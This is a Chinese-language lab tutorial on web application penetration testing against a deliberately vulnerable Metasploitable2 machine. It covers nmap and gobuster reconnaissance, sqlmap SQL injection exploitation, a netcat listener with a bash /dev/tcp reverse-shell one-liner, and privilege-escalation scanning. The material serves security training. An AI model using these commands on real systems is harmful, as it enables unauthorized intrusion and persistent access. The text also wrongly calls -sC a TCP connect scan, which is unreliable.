使用 Nmap 进行 Web 应用程序渗透测试

NmapNmapBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,我们将学习 Web 应用程序渗透测试,这是信息安全中的一个关键领域。Web 应用程序广泛应用于各个领域,因此其安全性至关重要。本实验旨在通过动手实践,帮助你识别和利用目标机器上托管的易受攻击的 Web 应用程序中的漏洞。目标是让你了解常见的 Web 应用程序漏洞以及利用这些漏洞的技术。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/installation("Installation and Setup") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") subgraph Lab Skills nmap/installation -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} nmap/port_scanning -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} nmap/host_discovery -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} nmap/target_specification -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} nmap/service_detection -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} wireshark/installation -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} wireshark/packet_capture -.-> lab-416136{{"使用 Nmap 进行 Web 应用程序渗透测试"}} end

环境设置

在这一步骤中,我们将设置实验环境并熟悉工具和目标系统。

首先,我们需要获取 Kali Linux 镜像的 ID,可以通过双击桌面上的 xfce 终端并运行以下命令来显示:

docker images

接下来,我们需要启动 Kali Linux 容器,这将作为我们的攻击机器。打开一个终端并运行以下命令:

docker run -ti --network host image-id bash

该命令将启动一个新的 Kali Linux 容器,并允许你与其 shell 进行交互。

然后,重新打开一个新的终端,我们需要启动目标机器,这是一个名为 Metasploitable2 的易受攻击的系统。运行以下命令以启动虚拟机:

sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

一旦虚拟机启动,验证你是否可以从 Kali Linux 容器中 ping 通目标机器:

ping 192.168.122.102

侦察与信息收集

在这一步骤中,我们将使用多种技术对目标系统进行侦察并收集相关信息。

首先,我们在 Kali Linux 容器中使用 nmap 工具扫描目标机器,以识别开放的端口和运行的服务:

nmap -sV -sC -oN nmap_scan.txt 192.168.122.102

该命令将执行 TCP 连接扫描(-sC)以确定哪些端口是开放的,并执行版本扫描(-sV)以识别每个开放端口上运行的服务及其版本。输出将保存到名为 nmap_scan.txt 的文件中(-oN)。

扫描需要一些时间。扫描完成后,使用 cat 命令查看 nmap_scan.txt 文件,根据开放的端口和服务识别潜在的攻击向量:

cat nmap_scan.txt

接下来,我们将使用 gobuster 工具对目标 Web 服务器进行目录和文件枚举:

gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

该命令将使用指定的字典文件(-w)对目标 Web 服务器上的目录和文件进行暴力破解。-t 选项指定并发线程数,-o 选项将输出保存到名为 gobuster_scan.txt 的文件中。

分析 gobuster_scan.txt 文件,识别可能提供额外信息或攻击向量的有趣目录或文件。

漏洞利用

在这一步骤中,我们将尝试利用上一步中识别出的漏洞。

根据从 nmapgobuster 扫描中收集到的信息,识别目标系统中的潜在漏洞。例如,如果你发现某个 Web 应用程序或服务的版本过时,可以研究该版本的已知漏洞并尝试利用它们。

Web 应用程序中常见的一个漏洞是 SQL 注入。假设目标 Web 应用程序存在 SQL 注入漏洞,我们可以使用 Kali Linux 容器中的 sqlmap 工具来自动化检测和利用 SQL 注入漏洞。

sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

该命令将尝试检测并利用指定 URL(-u)上的 SQL 注入漏洞。--batch 选项以非交互模式运行 sqlmap--risk=3 将风险级别设置为 3(最高),--level=5 将 SQL 注入测试的级别设置为 5(最高)。--random-agent 选项指定一个随机的用户代理字符串,--dbs 将尝试检索所有数据库的名称。

根据你尝试利用的漏洞类型,可能需要使用不同的工具或技术。请参考特定漏洞和工具的文档及资源。

后渗透与权限提升

在这一步骤中,我们将在成功利用漏洞后,尝试维持对目标系统的访问并提升权限。

假设你已经通过漏洞获得了对目标系统的访问权限,下一步是建立一个持久化的后门或反向 shell。这将使你即使在初始漏洞被修复后,仍能维持对系统的访问。

一种建立反向 shell 的方法是使用 netcat 工具。在 Kali Linux 容器中运行以下命令:

nc -lvnp 4444

该命令将在端口 4444 上监听传入的连接。

在目标系统上,执行以下命令以建立反向 shell:

bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'

<Kali IP> 替换为你的 Kali Linux 容器的 IP 地址。你可以使用 ifconfig 来查找容器的 IP 地址。

一旦反向 shell 建立成功,你可以尝试在目标系统上提升权限。一种常见的技术是使用 linux-exploit-suggester 工具搜索权限提升漏洞:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt

该脚本将分析目标系统,并建议可能用于权限提升的内核漏洞利用方法。

总结

在本实验中,我们学习了 Web 应用程序渗透测试,并通过实际操作获得了识别和利用目标机器上托管的一个易受攻击的 Web 应用程序漏洞的经验。我们涵盖了渗透测试任务中的侦察、信息收集、漏洞利用和后渗透阶段使用的各种技术和工具。

该实验提供了一个受控的环境,用于练习真实场景并培养 Web 应用程序安全技能。通过遵循实验步骤,我们学习了如何设置实验环境、执行侦察和信息收集、利用 SQL 注入等漏洞、建立持久化后门,并尝试在目标系统上进行权限提升。

本实验为我们提供了 Web 应用程序渗透测试的实践知识和经验,这对于保护 Web 应用程序并在恶意攻击者利用之前识别潜在漏洞至关重要。